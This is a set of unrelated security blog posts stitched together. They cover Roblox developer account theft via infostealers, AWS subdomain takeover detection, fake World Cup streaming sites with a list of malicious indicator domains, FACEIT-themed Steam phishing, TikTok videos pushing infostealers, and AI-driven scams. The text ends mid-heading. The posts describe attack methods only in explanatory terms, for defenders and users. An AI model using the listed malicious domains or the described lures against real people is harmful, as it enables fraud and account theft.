Account theft usually ends with someone losing a password. This one ends with hackers walking off with the entire game.

Developers behind some of Roblox’s millions of games told 404 Media that attackers persuaded them to run a single file. Then they watched their group, their game, and their Robux (in-platform currency) balance vanish into someone else’s account within hours. In several cases, Roblox support didn’t help them get the games back until a reporter called the company for comment.

From beaming to hostile takeover

Roblox attacks used to be opportunistic. “Beamers” targeted individual players to steal rare hats, limited items, and accounts, then resold them. The pattern has shifted. The new targets are developer accounts, and the prize is the game itself.

Ioannis Matziaris told 404 Media that his two 20-year-old sons spent five years building a Roblox game called The Shadow Network. In April, attackers approached one of them with a job offer and convinced him to run a particular file. It was malware. The attackers stole control of the game, the group’s Roblox account, and their Robux balance.

Another developer, Jovan Rai, received the same project-manager job pitch. This time, the attackers were impersonating Cheesy Studios, the Matziaris brothers’ company, to lend the offer credibility. The 15-year-old was earning roughly 10,000 Robux (around $38) per day from his game. He spent more than 30 days trying to recover it through Roblox support before media attention helped move the case forward.

The malware behind the theft

Developer Mohamed Kaparoza described how the attack worked. Attackers contacted him on Discord, dangled a project-manager role, and asked him to install a Python package called “robase,” which they claimed was a database tool. Shortly after installing it, he was logged out of Roblox on both his PC and his phone. His Discord account went with it, and his two-step verification settings and passkey were changed.

This is a case of session-token theft, rather than credential theft. Once an infostealer steals an authenticated browser session, attackers can often bypass security measures such as two-factor authentication (2FA) because they are reusing a session that has already been authenticated.

The technique itself isn’t new. We reported on a similar campaign in January 2025 that targeted Roblox players with offers to beta test new games. The “installer” was actually an infostealer designed to steal data, including Discord and Steam sessions, and cryptocurrency wallet information.

What developers can do

If you build Roblox games, the defensive advice is unglamorous and mostly behavioral.

• Treat unsolicited Discord job offers with caution. If a stranger asks you to install a “database tool,” a custom installer, or any file at all, do not run it.
• Developers who need to test unfamiliar software should do so in an isolated environment, such as a virtual machine, rather than on a device where they are signed in to Roblox, Discord, GitHub, or other important accounts.
• Review active Roblox sessions and signed-in devices regularly, and switch on Roblox’s Enhanced Protection features where available. They won’t stop session-stealer malware, but they can help protect against many other forms of account compromise.
• If the worst happens, document everything as early as possible. Keep records of messages, screenshots, account changes, and support requests to help with any recovery process.
• Use security software with real-time protection. Malwarebytes Premium can detect and block infostealers and other malware before they compromise your accounts.
  

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Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

In this blog post you’ll learn how to detect and prevent subdomain takeover – a tactic where threat actors exploit dangling DNS records to redirect traffic to attacker-controlled resources. We’ll explain the issue, how the situation arises, and how you can use various AWS features and services to help mitigate the impact of this tactic.

Under the shared responsibility model, securing configurations in the cloud is your responsibility. AWS supports you through strong defaults, guidance in the Security Pillar of the Well-Architected Framework, and security services to help you meet that responsibility. The AWS Customer Incident Response Team (AWS CIRT) also monitors for new and trending tactics that threat actors use to exploit specific customer configurations, so that you can make informed design decisions and improve your response plans.

AWS CIRT has observed threat actors actively scanning for public DNS CNAME records that point to resources that no longer exist, looking for subdomain takeover opportunities.

Note: The subdomain takeover tactic does not leverage vulnerabilities of AWS services. It exploits a dangling DNS record to redirect traffic to an attacker-controlled resource.

Quick DNS Primer

CNAME Records: A CNAME (Canonical Name) record is a DNS entry that points one domain name to another. For example, api.example.com can be configured to point to api.example.s3-website-us-east-1.amazonaws.com. This feature of DNS enables users to configure a memorable, human-friendly domain name while the actual resource lives at a longer, machine-generated AWS hostname. A security issue emerges when the target resource is deleted but the CNAME record pointing to it remains – creating a “dangling” record.

Dangling Records: When a resource (like an S3 bucket) is deleted but the DNS record pointing to it is left behind, that DNS record becomes “dangling”, pointing to a resource that no longer exists. For resources in globally shared namespaces, threat actors can potentially reclaim the name of your deleted resource and serve malicious content through your DNS record.

What is subdomain takeover?

A subdomain is a prefix added to a domain that allows you to organize access to your resources. A subdomain takeover occurs when you delete the underlying resource and a threat actor creates a new resource with the same name to take advantage of the DNS records still pointing to it.

A subdomain takeover is possible when a CNAME record points to an AWS resource that uses a globally shared DNS namespace where the resource name can be chosen by any AWS customer. The following AWS resources meet these criteria:

Amazon S3 (global namespace): Bucket names like mybucket.s3.amazonaws.com are globally unique and can be claimed by any account if the bucket is deleted. Note: S3 buckets created with account regional namespaces (launched March 2026) are scoped to your account and are not subject to this issue.

Amazon CloudFront: Distribution domain names like d111111abcdef8.cloudfront.net are assigned by AWS and cannot be chosen by an attacker. However, if you delete a distribution and another customer creates one that happens to receive the same domain name, a dangling CNAME could resolve to their content.

AWS Elastic Beanstalk: Environment names like myapp.elasticbeanstalk.com are globally unique and can be claimed by any account if the environment is terminated.

Resources like Amazon VPC, Amazon EC2 instances, or private hosted zones are not subject to this tactic because they do not expose globally claimable DNS namespaces.

MITRE ATT&CK classifies this technique under T1584.001: Compromise Infrastructure – Domains.

Analyzing an example scenario

Consider the following scenario:

You create a DNS CNAME record pointing to your S3 website endpoint. The subdomain subdomain.example.com now resolves to subdomain.example.s3-website-us-east-1.amazonaws.com, which serves content from the S3 bucket named subdomain.example. If your team deletes the bucket and forgets to delete the DNS record, users that navigate to the site will see an error stating that the bucket doesn’t exist. However, at this point, if a threat actor sees this error and moves in to claim the bucket name, they will be able to set up their own site that users will see when they navigate to the subdomain.example.com site.

Figure 1 shows an S3 bucket named subdomain.example (a globally unique bucket name) configured to host a static website, with the S3 website endpoint subdomain.example.s3-website-us-east-1.amazonaws.com.

Figure 1: S3 bucket configured as a static website

As shown in Figure 2, we use Amazon Route 53 to create a CNAME record to resolve to our Amazon domain name; to give users a friendly name and so they do not have to remember the long S3 website name in URLs.

Figure 2: DNS Resolver configured with CNAME record pointing to origin bucket

The customer’s AWS administrator decides to stop serving content from the S3 bucket and deletes it, as shown in Figure 3.

Figure 3: Resource deleted without removing the CNAME record

With the S3 bucket deleted and the CNAME record still in place, the DNS record is now dangling. A threat actor identifies this situation and creates a new S3 bucket with the same global name subdomain.example in an AWS account that the threat actor controls, as shown in Figure 4. The threat actor can now serve content from this new bucket, including potentially malicious content. End users remain unaware of this switch and continue to access subdomain.example.com, trusting the content because it appears to originate from a URL they recognize.

Figure 4: Subdomain takeover happens

Potential impacts of a sub-domain takeover

Consider these potential impacts:

Reputation risk: There is a potential risk to your organization’s reputation, because you don’t control the content being served from the threat actor’s site that your DNS record points to.

Potential exposure to phishing campaigns: Users within your organization might have the subdomain bookmarked in their browser, not knowing the resource is no longer available, then unsuspectingly navigate to the site that now hosts malware or is used to phish user credentials.

Blocking: If the subdomain is flagged by security vendors for malicious activity, it could impact your business operations.

Financial loss: Subdomain takeover incidents can result in a financial impact due to the potential disruption to service delivery as you deal with the event.

Proactive detection

AWS Config for proactive detection

For proactive detection, you can use AWS Config to continuously monitor your Route 53 CNAME records and verify that the target resources exist in your account.

Prerequisite: This approach requires AWS Config recorder to be enabled for the resource types you want to monitor (S3 buckets, CloudFront distributions, Elastic Beanstalk environments). If Config isn’t recording a resource type, it won’t appear in the inventory check. For more information, see Setting up AWS Config with the console.

Why use AWS Config inventory instead of DNS resolution checks?

A common approach is to check whether a CNAME resolves to a valid endpoint. However, this method has a critical flaw: if an attacker has already claimed the resource, DNS resolution will succeed – to their resource, not yours. You would have no indication that you don’t own what’s responding.

By querying AWS Config’s recorded configuration items, you’re checking whether the resource exists in your account inventory, not just whether something responds at that DNS name. This approach correctly identifies dangling CNAMEs even after a takeover has occurred.

Implementation approach:

Account-level vs. organization-level scope

The reference implementation queries AWS Config inventory within a single account. This means that if a CNAME record in Account A points to a resource that legitimately exists in Account B within the same AWS organization, the rule will flag it as NON_COMPLIANT.

For organizations that share resources across accounts, you can modify the solution to use an AWS Config Aggregator, which queries resource inventory across all accounts in your organization. This is similar to how IAM Access Analyzer supports both account-level and organization-level scopes. To use this approach, you need an organization-level Config Aggregator already configured, and the Lambda function’s IAM role needs the config:SelectAggregateResourceConfig permission.

We recommend starting with account-level scope for simplicity, then expanding to organization-level if your environment includes cross-account resource sharing.

The main idea is to create a custom AWS Config rule that queries your Route 53 hosted zones for CNAME records, then parses each CNAME target to determine whether it points to a known AWS resource pattern such as S3, CloudFront, or Elastic Beanstalk. For each match, the rule cross-references the target against your AWS Config inventory to verify that the resource actually exists in your account. If the resource isn’t found, the rule marks the CNAME record as NON_COMPLIANT, surfacing it for review.

The Config rule should focus on known AWS resource patterns:

• S3: *.s3.amazonaws.com, *.s3-website-<region>.amazonaws.com
• CloudFront: *.cloudfront.net
• Elastic Beanstalk: *.elasticbeanstalk.com

Note: CNAME records pointing to external third-party services are outside the scope of this detection mechanism, as those resources won’t appear in your AWS Config inventory.

NON_COMPLIANT findings from your Config rule can be routed to AWS Security Hub for centralized visibility, or trigger SNS notifications to alert your security team.

Figure 5: Dangling DNS Detection Solution

Reference implementation:

We’ve published a complete implementation of this detection approach as an open-source solution. The solution deploys a Lambda function that discovers CNAME records across all your Route 53 hosted zones and uses pattern matching to identify targets pointing to S3, CloudFront, and Elastic Beanstalk. It then queries your AWS Config inventory to verify whether each target resource still exists in your account. When a dangling record is detected, the solution generates a HIGH severity finding in Security Hub and can optionally send SNS notifications to alert your security team. A CloudWatch metrics dashboard is also included for ongoing compliance tracking.

Deployment:

# Clone the repository
git clone https://github.com/aws-samples/sample-dangling-dns-detection
cd sample-dangling-dns-detection

# Build the Lambda deployment package
./scripts/package.sh

# Upload to S3
aws s3 cp dist/dangling-dns-detection.zip s3://YOUR_BUCKET/

# Deploy the CloudFormation stack
aws cloudformation deploy \
  --template-file infrastructure/template.yaml \
  --stack-name dangling-dns-detection \
  --parameter-overrides \
      LambdaCodeS3Bucket=YOUR_BUCKET \
      EvaluationFrequency=TwentyFour_Hours \
  --capabilities CAPABILITY_NAMED_IAM

The stack creates an AWS Config custom rule that runs on your specified schedule (default: every 24 hours), evaluating all CNAME records and reporting compliance status.

Mitigating the effects

Mitigating subdomain takeover requires both preventive procedures and responsive capabilities.

Prevention: Standard operating procedure

The most effective mitigation is a standard operating procedure for resource deprovisioning that ensures DNS records are removed before the underlying resource:

1. Within your DNS zone, delete the CNAME record that points to the fully qualified domain name (FQDN) of the resource that you plan to deprovision.
2. Wait for the DNS TTL to expire before deleting the resource. DNS resolvers cache records for the duration of the TTL (for example, a TTL of 3600 means resolvers may serve the old record for up to one hour). If you delete the resource before the TTL expires, a threat actor could claim the resource name while cached CNAME entries are still directing traffic to it.
3. Deprovision the resource that you no longer want to use.
4. Run a DNS check of the CNAME record that you removed to verify that the resource is no longer resolving.

Key principle: Always delete DNS first, wait for the TTL to expire, then delete the resource. This order eliminates the window where a dangling record could be exploited.

Prevention: S3 account regional namespaces

As mentioned earlier, AWS introduced account regional namespaces for Amazon S3 general purpose buckets in March 2026. While this is a meaningful step toward mitigating the S3-specific takeover vector, there are important operational limitations to be aware of:

Existing buckets are unaffected. Buckets already created in the global namespace cannot be migrated to an account regional namespace. The bucket names remain globally unique and claimable by anyone if the bucket is deleted.

Global namespace is still the default. When creating a new bucket through the console, CLI, or SDK, the global namespace remains the default selection. Users who aren’t aware of the new option will continue creating globally-scoped buckets.

Existing IaC templates require updates. Existing infrastructure-as-code templates (CloudFormation, CDK, Terraform) that don’t explicitly opt in to the account regional namespace will continue provisioning buckets in the global namespace. For CloudFormation, this means setting the BucketNamespace property to account-regional. For other IaC tools, consult their documentation for the equivalent configuration. Organizations need to audit and update their templates to opt in.

For these reasons, the dangling DNS detection approach described in this post remains critical – particularly for organizations with existing S3 infrastructure, and for CloudFront, and Elastic Beanstalk resources where no equivalent namespace scoping exists.

Response: Notification and remediation

When a dangling DNS record is detected, the reference solution described in the Detection section automatically creates a HIGH severity finding in AWS Security Hub and reports the CNAME record as NON_COMPLIANT in AWS Config. If you provide an SNS topic ARN during deployment, the solution also sends notifications to alert your security or operations team via email, Slack, or other channels. For production environments, consider a human-in-the-loop workflow where these notifications are reviewed by a team member who approves the DNS record deletion before it’s executed. This prevents accidental deletion of legitimate records during transient issues.

The reference solution also includes a CloudWatch dashboard for tracking compliance status and evaluation metrics over time, giving your team ongoing visibility into DNS health across your hosted zones.

Note: Fully automated remediation (auto-deleting DNS records) carries risk – a false positive could disrupt legitimate services. We recommend starting with detection and notification, then evaluating automation based on your detection accuracy and operational maturity.

Conclusion

Subdomain takeover is a preventable misconfiguration that can have significant impact on your organization. A layered defense approach provides the best protection:

Prevention: Implement a standard operating procedure that deletes DNS records before deprovisioning the underlying resource.

Detection: Use AWS Config custom rules to proactively identify CNAME records pointing to resources that no longer exist in your account.

Response: Configure notifications through SNS or Security Hub so your team can respond quickly when dangling records are detected.

Monitoring: Maintain ongoing visibility through CloudWatch dashboards to track DNS health and compliance status.

The key insight is that good DNS hygiene – knowing when your CNAME records point to a nonexistent resource – is your first line of defense. Automated detection through AWS Config provides a safety net when operational procedures fail. And if you detect an issue, having a playbook ready to enact your response can lower the impact and your mean time to recovery.

If you have feedback about this post, submit comments in the Comments section below.

With the World Cup on, you’ll find no shortage of websites promising every match, live, in HD, for free. They look convincing, usually with a video player, a “Live Stream Available” indicator, a row of server buttons, maybe a match schedule, and a “Watch Live” button. There’s no signup, no paywall, and seemingly, no catch.

But of course there’s a catch. These sites aren’t really in the business of streaming football. What the page is really built to do is fire pop-ups, hidden ads, and redirects through an advertising network we detect as malicious. Instead of watching the match, visitors end up facing scams, malware, and fraudulent downloads.

Here’s how the scam works and how to stay out of it.

If they’re not real streaming sites, what are they?

We’ve identified more than 40 websites that are effectively identical. They use different World Cup-themed names, but behind the scenes they’re running the same page template, the same code, and the same advertising infrastructure.

A script generates a separate page for every match, making the operation cheap to run and easy to scale.

When a stream appears at all, it’s usually embedded from a third-party piracy service. The real business is the advertising surrounding the player.

A typical page loads eight or more ad and tracking scripts from the same shady network, plus a handful of other ad domains. The hub the whole page is wired to is a domain we detect as malicious. Your data is the product; the “stream” is the bait.

Why these sites are dangerous, not just annoying

It’s tempting to shrug this off as the usual price of free streams. But it’s worse than facing a few annoying ads.

The real threat is the ad network. This isn’t mainstream, vetted advertising. The kind of ad network we flag as malicious is a common delivery route for the stuff that causes harm: fake virus warnings, bogus software update prompts that install malware, fake prize and verification pages, and forced redirects into subscription traps.

The video window itself is untrusted. The stream is pulled from a third-party piracy service, not anything the site controls or vets. Pirated stream embeds are a well-known source of their own ads, redirects, and hidden clickable overlays, so even the part that looks like a video player can be working against you.

There’s nobody behind the counter. These are anonymous, disposable sites built around a major sporting event. There’s no real company, no support, no accountability, and no reason for them to care what lands on your screen.

It’s the oldest play in the scam handbook: take something millions of people want right now, present it nicely, and monetize the rush. Scammers don’t create the demand, they just stand in front of it with a bucket and collect payment.

How it works (a quick technical version)

The first tap is hijacked. A script waits for your first click or tap anywhere on the page and uses it to open an ad in a new tab or window, often in the background. Before you’ve watched a second of football, you’ve already triggered an ad.

The “Play” button is a maze. Clicking Play doesn’t play anything. Instead, you’re sent through prompts like “Click Resume to continue” before you might reach a video. Every extra step is another click, and each click triggers more ads.

Invisible ads load. The page quietly loads tiny, invisible 1×1-pixel ads and opens more tabs. These exist purely to generate paid ad views. The tactic has many of the hallmarks of ad fraud, and you’re the unwitting traffic. More ads are injected into the player area the moment you try to watch.

The stream is an afterthought. Often there’s no working stream at all, so the page loops you through “Streams loading… Retry,” which means more clicks and more ads. Whether you ever see the match or not, the ads have already cashed in.

What the ads are serving up

The code fires the ads; but here’s what comes out the other end. On these pages, the injected ads tend to fall into two buckets, and neither has anything to do with football.

The first is fake message notifications: little pop-ups designed to look like real chat alerts, complete with a stranger’s photo and messages such as “Seen my message yet? Let’s talk!” Some include fake voice messages or explicit thumbnails. They’re made to look like notifications you’ve forgotten to check so you’ll click them.

The second is crypto bait. These ads promote “play-to-earn” games with promises of daily rewards, surprise drops, massive airdrops, and eye-catching claims like a “124% APY yield engine.”

One warning sign is the promise of guaranteed triple-digit returns and free money for tapping a button. That’s not how legitimate financial products work.

That’s the whole machine working end to end: football is the doorway, the malicious advertising network is the engine, and the scams are what it’s actually selling.

How to watch the World Cup safely

These “Free HD stream, every match, no catch” sites use football as bait to funnel visitors through a malicious advertising network. Here’s how to stay safe:

• Use official broadcasters and streaming services. That’s where the legal and safe coverage lives.
• Treat “every match, free, HD, no signup” as a red flag. Broadcast rights are expensive. If a random website is giving everything away for free, it’s making money some other way.
• Don’t follow a maze of interactions. If a streaming site opens pop-ups, launches extra tabs, or sends you through endless “click to continue” screens, close it.
• Never trust warnings or download prompts on these sites. Don’t download anything, install anything, or enter any information.
• Block ads and trackers in the browser. A tool like Malwarebytes Browser Guard can block the advertising and tracking domains these sites rely on, helping stop pop-ups and redirects before they load.
• Keep your software up to date. Browser and operating system updates often fix security vulnerabilities that attackers try to exploit.
• Use up-to-date, real-time anti-malware. If you do click something malicious, products like Malwarebytes Premium can block and remove malware before it causes damage.

Indicators of compromise (IoCs)

Domains

arenaworldcupfootball.xyz
footballworldcup.xyz
freeworldcup.xyz
freeworldcupstream.xyz
freeworldcupstreaming.xyz
livestreamingworldcup.xyz
livestreamworldcup.xyz
liveworldcup.today
liveworldcup.xyz
liveworldcup2026.xyz
liveworldcupmatch.xyz
matchoraworldcup.world
matchworldcup.xyz
sportivaworldcup.xyz
sportworldcuponline.xyz
watchworldcup.watch
watchworldcup.world
watchworldcup2026.xyz
watchworldcupfree.live
watchworldcupfree.online
watchworldcupfree.xyz
worldcup2026match.xyz
worldcuparena.xyz
worldcupfoootballmatch.xyz
worldcupfootball.live
worldcupfootballmat.live
worldcupfootballmatch.live
worldcupfootbmatch.xyz
worldcupfreeonline.xyz
worldcuplive.world
worldcuplivestream.online
worldcupmatch.online
worldcupmatch.world
worldcupmatch.xyz
worldcupmatchlive.live
worldcupsoccer.live
worldcupsoccermatch.live
worldcupstreameast.online
worldcupstreameast.xyz
worldcupusa.world
worldcupusa.xyz

Stop threats before they can do any harm.

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Online gamers should watch out for a convincing scam that aims to steal your Steam account.

The scam uses fake FACEIT verification pages that look legitimate, complete with official branding, working links, and what appears to be a real Steam login window. By the time it asks for your password, many victims are convinced they’re interacting with a genuine service.

The goal is to steal your Steam account.

Why this scam targets FACEIT players

If you’re not a competitive gamer, FACEIT might not mean anything to you. But to millions of people, it’s a big deal, and that makes it a target for impersonation by cybercriminals.

FACEIT is one of the largest competitive gaming platforms for Counter-Strike 2 (CS2). Millions of players use it for ranked matches, tournaments, leagues, and advanced anti-cheat protections.

To use FACEIT, players typically connect their Steam platform accounts, which are valuable for scammers.

A stolen Steam account can contain:

• Hundreds or thousands of dollars’ worth of purchased games
• Valuable CS2 skins and items, some worth significant amounts of real money
• Wallet funds and saved payment methods
• Years of friends, messages, and community reputation

Once criminals gain access, they can steal items, scam friends, or sell the account on criminal marketplaces.

Because FACEIT connects to Steam, a fake “FACEIT verification” page is an easy way to trick people. Victims think they’re updating their account, but attackers are really trying to steal Steam accounts that may contain valuable games, skins, and wallet funds. Gamers are especially vulnerable because they’re used to linking accounts and following verification steps, and may act quickly if they think their access to a game is at risk.

How the scam works

The attack starts with a website that looks like an official FACEIT page. The scam pages are likely distributed through the same channels gamers use every day: community forums, chat servers, social media posts, and direct messages.

The page claims FACEIT is offering free, optional identity verification to help build a more trusted community. It’s polished, uses the correct branding, and even includes working links to FACEIT’s real blog and support pages. Everything about it is designed to make you think you’re on a genuine FACEIT website, but you’re not.

Instead of using the official faceit.com domain, the scammers use lookalike addresses such as:

• faceit-discord.com
• faceit-clubs-verify.com
• faceit-verification-clubs.com

The extra words like “verification” or “discord,” are designed to make these addresses look legitimate at a glance, but they’re sites that are controlled by cybercriminals.

Many of these domains are only days or even hours old. Scammers constantly register new ones, knowing they’ll likely be blocked eventually. That’s why a site not being flagged as dangerous doesn’t mean it’s safe.

There are small clues, though. In one example, the page listed both “Copyright 2024” and “Copyright 2025.” Legitimate companies rarely make mistakes like that, but scam sites often do.

After the verification pitch, the page claims there’s a problem with your CS2 account and asks you to update your information to prove you’re not a cheater or using a smurf account.

Here’s the clever part. The QR code appears blurry and difficult to scan. Researchers believe that’s intentional. After a few failed attempts, many users are likely to give up and click the easier-looking “Sign in through Steam” button instead.

The broken QR code is the nudge that guides victims toward the part of the page where the real theft happens.

When users eventually give up on the QR code and click the button, a Steam login window appears. It looks convincing, complete with the Steam logo, login fields, and what appears to be a steamcommunity.com address bar.

But the window is fake.

Instead of opening a real Steam login page, the scammers display a convincing copy inside the website itself. Security researchers call this a Browser-in-the-Browser attack. The fake window looks and behaves like a genuine browser pop-up, but the address bar is just part of the image.

Anything entered into the form goes straight to the criminals. If the page also asks for a Steam Guard code, that gets stolen too, allowing attackers to access the account. Some victims are then tricked into “protecting” their items by transferring them to a friend or backup account, when they’re actually sending them directly to the scammers.

How to protect yourself against this scam

A few simple habits can stop this scam:

• Check the real address bar. FACEIT’s official website is faceit.com. Be wary of lookalike domains such as faceit-discord.com or faceit-clubs-verify.com. Remember: a login window inside a webpage can fake its own address bar. Trust the one at the top of your browser, not the one inside the page.
• Be suspicious of blurry QR codes. Researchers believe the QR code in this scam is deliberately blurred to push users toward the “Sign in through Steam” button instead.
• Treat urgency as a warning sign. Messages about account problems, verification, or losing access are designed to make you act quickly. Slow down and verify first.
• Go to the source. If you’re unsure whether FACEIT or Steam needs something from you, open the official website or app yourself rather than following links from Discord, messages, or ads.
• Add another layer of protection. Scam sites often look legitimate. Malwarebytes Browser Guard can help block known phishing pages and other online scams before you enter your username and password.
  

If you already entered your details

Change your Steam password immediately, make sure Steam Guard is enabled, and sign out of all other devices. Check your Steam API key settings and remove any key you don’t recognize. Change the password anywhere else you reused it and review your account for unauthorized trades or purchases.

Why this scam works

This scam works because it doesn’t look like a scam. The branding is convincing, the story makes sense, and even the Steam login window appears legitimate.

Most people know to check the address bar before entering a password. Browser-in-the-Browser attacks are designed to defeat that habit. Because the fake Steam window is built into the page itself, the criminals can make its address bar say whatever they want, including steamcommunity.com.

The safest approach is to be suspicious of any login window that appears inside another website. If you’re unsure, close the page and sign in to Steam the way you normally would, through the official app or by typing the address yourself.

That small pause, that refusal to take the convenient shortcut a page is pushing you toward, is all it takes to keep your account yours.

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Protect enterprise AI agents from supply chain risks by auditing third-party skills for hidden vulnerabilities and multi-stage attack chains.

The post Trust No Skill: Integrity Verification for AI Agent Supply Chains appeared first on Unit 42.

Short-form video platforms like TikTok and Instagram Reels have become the latest way cybercriminals spread malware.

We’ve already seen attackers move away from traditional phishing emails and toward tactics that trick people into installing malware themselves. Now they’re being lured with slick social media videos that promise free Spotify Premium, free Windows activation, or free Microsoft Office, but instead leave people with infostealers on their Windows devices.

Researchers at ReversingLabs uncovered two active campaigns that use short videos to trick users into running dangerous PowerShell commands or visiting malicious download sites. Similar campaigns have been reported by other researchers and national cybersecurity agencies, suggesting a growing trend: Cybercriminals are learning how to use social media algorithms just as effectively as marketers.

In true social media fashion, the videos on platforms like TikTok and Instagram Reels claim to solve a problem you didn’t know you had. The catch is that following the instructions delivers malware to your device.

How the scam works

The first campaign looks deceptively professional.

Accounts with names like “windows.tips” or “windows.insights” use Windows-style branding and post polished tutorial videos that resemble genuine tech support content. The videos are tagged with Windows and Office-related keywords so they appear alongside legitimate troubleshooting and tips content.

The videos promise to unlock Spotify Premium, Microsoft Office, or Windows for free. Viewers are then guided through step-by-step instructions that include opening Powershell, a legitimate Windows admin tool, and pasting in commands. Those commands download and run malware, much like the ClickFix scams we’ve covered before.

The malware was identified as Vidar, an infostealer designed to steal sensitive informtion from infected devices. Vidar commonly targets:

• Saved browser passwords
• Autofill data
• Browser cookies
• Cryptocurrency wallets
• Two-factor authentication (2FA) data
• TOR browser data

The stolen information is then sent back to servers controlled by the attackers.

How to stay safe

Research into similar TikTok-based attacks shows these scripts commonly add exclusions to Windows Defender, making it harder for security software to detect future malicious activity.

Fortunately, there are  a few simple ways to protect yourself:  

• Only download software from official vendor websites.  
• Be skeptical of “free”, cracked, or unofficial versions of paid software. 
• Don’t follow instructions on a webpage without thinking them through, especially if the page asks you to run commands on your device or copy and paste code. Many ClickFix pages use countdowns, fake user counters, or other pressure tactics to make you act quickly.
• Check that downloaded files match what you expected to download.
• Verify a file’s publisher and digital signature before you run it. On Windows, you can usually check this by right-clicking the file, selecting Properties > Digital Signatures. Keep in mind that a valid signature does not guarantee a file is safe, but missing or suspicious signatures are often a red flag. 
• Use a real-time, up-to-date anti-malware solution to block malware like infostealers before it runs.

Pro tip: If you’re unsure whether a video, message, or website is legitimate, you can ask Malwarebytes Scam Guard about it. It can help identify suspicious content and advise you on what to do next.

Image courtesy of ReversingLabs

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

What would you trade for a technology that can do almost anything? For many people, the answer is clear: Everything they thought they could trust.

In a few, short years, Artificial Intelligence (AI) tools have granted people unfettered access to easier writing, faster image generation, quicker coding, and near-instantaneous answers, advice, and information—advantages they value and want. But the same tools that can spruce up a dating profile or reimagine an old photograph can also manipulate the broader world online, and people are noticing.

According to new research from Malwarebytes, 88% of people said it’s becoming harder to tell what content online is genuinely human or real, with 84% saying that “convincing video evidence” no longer feels like proof. Further, 85% said it can be hard to tell scams apart from the real thing—a major uptick from the 66% who said the same thing last year.

These are the first signs of AI’s counterfeit world. Replete with fake websites, fake products, fake videos, fake pictures, fake voices, and even fake people, it is threatening to swallow the web.

The latest report from Malwarebytes, “Face value: How AI is reshaping trust, identity, and scams” exposes the hidden cost of AI on the public: an excess of fraud that is dismantling trust in reality and in one another.

The damage arrives in large moments and small, from the US parent who said they “received a voicemail that sounded exactly like my son’s voice, saying he was in trouble and needed money for legal fees,” to the two entirely unrelated respondents fooled by the same AI-generated video of rabbits bouncing on a trampoline, to the individual worried about “my grandfather showing me AI slop and he thought it was real.”

For this research, Malwarebytes surveyed 1,500 adults aged 18 and older across the US, UK, Austria, Germany, and Switzerland about their uses, feelings, and concerns regarding AI. The sample was equally split for gender with a spread of ages, geographical regions, and race groups, and weighted to provide a balanced view.

The complete findings can be found in the full report:

Here are some of the key takeaways and findings:

• 88% said it’s becoming harder to tell what content online is genuinely human or real
• 84% said convincing video evidence no longer feels like proof 
• 85% of people said it’s hard to tell a scam from the real thing (up from 66% last year)
• 50% have experienced some form of AI fraud or scam, such as being misled by AI-generated photos of products or receiving a highly personalized scam message
• 19% have specifically experienced some form of AI-driven identity harm, including the 10% who have had someone use AI to generate sexually explicit content of them without permission
• 81% fear someone stealing their family’s likeness, yet only 13% have created a family codeword to guard against it
• 67% worry about voice cloning, yet only 19% have turned off voicemail recordings to prevent it
• 45% say it’s okay to use AI for personal emotional tasks (like writing wedding vows or a eulogy)
• 34% say it’s okay to use AI to help create or improve a dating profile
• One in three self-avowed daily users of AI said it’s okay to generate explicit images of someone without their consent 

Defeat would be the wrong lesson to take from all this. It is true now that the internet requires assistance, but there are plenty of safe places to seek help.

While Malwarebytes works to provide new tools, we’d like to remind both the AI anxious and the eager about the first rule of the internet: Remember the human. People’s voices, bodies, choices, and agency belong to them and them alone. 

As for every fake video, product, website, and image, understand that there’s help. No one needs to navigate an artificial internet alone. Whether through scam detection, identity protection, and simple awareness, people have more options than they may realize.

The 2025 Federal Bureau of Investigation (FBI) Internet Crime Report shows that Americans reported $893,346,472 in AI‑related scam losses.

Those losses stem from 22,364 AI-related complaints. And these figures represent only the reported losses, which may well be the proverbial tip of the iceberg.

The main drivers behind the rise in AI-powered scams are voice cloning, deepfake images and videos, and AI‑generated scripts. These tools have supercharged classic fraud schemes such as romance scams, kidnapping and extortion calls, fake influencers, and government impersonation.

Michael Machtinger, deputy assistant director of the FBI Cyber Division, told the Wall Street Journal:

“AI-created fraudulent communications can look very official and very legitimate to even the most trained individuals.”

The FBI and financial institutions recommend verifying identities via official contact channels. One of their biggest concerns is government impersonation scams, which have evolved from crude IRS gift‑card phone calls into sophisticated, multi‑channel operations that combine spoofed caller ID, stolen agency logos, and AI‑generated audio and video of public officials.

This report, and others like it, shows how AI is being weaponized to automate research on victims, generate convincing scripts, and create highly believable deepfake personas at scale.

AI is also increasingly used in business email compromise (BEC), romance scams, and impersonation fraud. In BEC cases involving AI, losses have already reached tens of millions of dollars for businesses alone.

For a broader look at why AI is simultaneously fueling scams like these and becoming indispensable to defending against them, see my article AI: Threat, tool, or both?

It explains how both defenders and criminals use AI to find vulnerabilities, and why security vendors increasingly rely on AI to process vast amounts of telemetry, detect anomalies, and keep pace with threats that “no longer move at human speed.”

How to stay safe

Consumer protection agencies have documented a growing list of the ways scammers are using AI to try to rip people off. The main problem is that we can no longer take it at face value that the person we’re talking to is who they claim to be.

Government agencies and financial institutions recommend that you:

• Be skeptical of urgent payment demands, especially those involving cryptocurrency or gift cards
• Limit the amount of voice and video content you share publicly, as it can be reused by scammers
• Report incidents quickly to your bank(s) and IC3.gov

Pro tip: Malwarebytes Scam Guard can help you determine whether a message is a scam and guide you through the next steps.

Something feel off? Check it before you click.  

Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly.  

Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.  

Try it free → 

Planning a holiday should be exciting, fun, and not a cybersecurity risk. But booking flights, hotels, and rental properties often means sharing sensitive personal and financial information across multiple platforms. Combined with frequent travel scams and recurring data breaches in the travel and hospitality sector, it creates plenty of opportunities for criminals.

This guide covers the most common risks when making travel reservations and explains how to avoid them. Save the adventure for your destination.

Travel bookings combine high-value payments with urgency and emotional decision-making. Attackers love that for several reasons:

• Large upfront payments make scams profitable.
• Booking confirmations often contain valuable personal data, such as names, travel dates, contact details, and sometimes passport information.
• Travelers are more likely to act quickly and overlook red flags.
• Travel and hospitality companies are frequent breach targets due to complex IT environments and third-party integrations.

Recent years have seen repeated breaches involving hotel chains, booking platforms, cruise operators, and airlines, exposing everything from email addresses to passport numbers.

Common travel-related scams

Fake booking websites

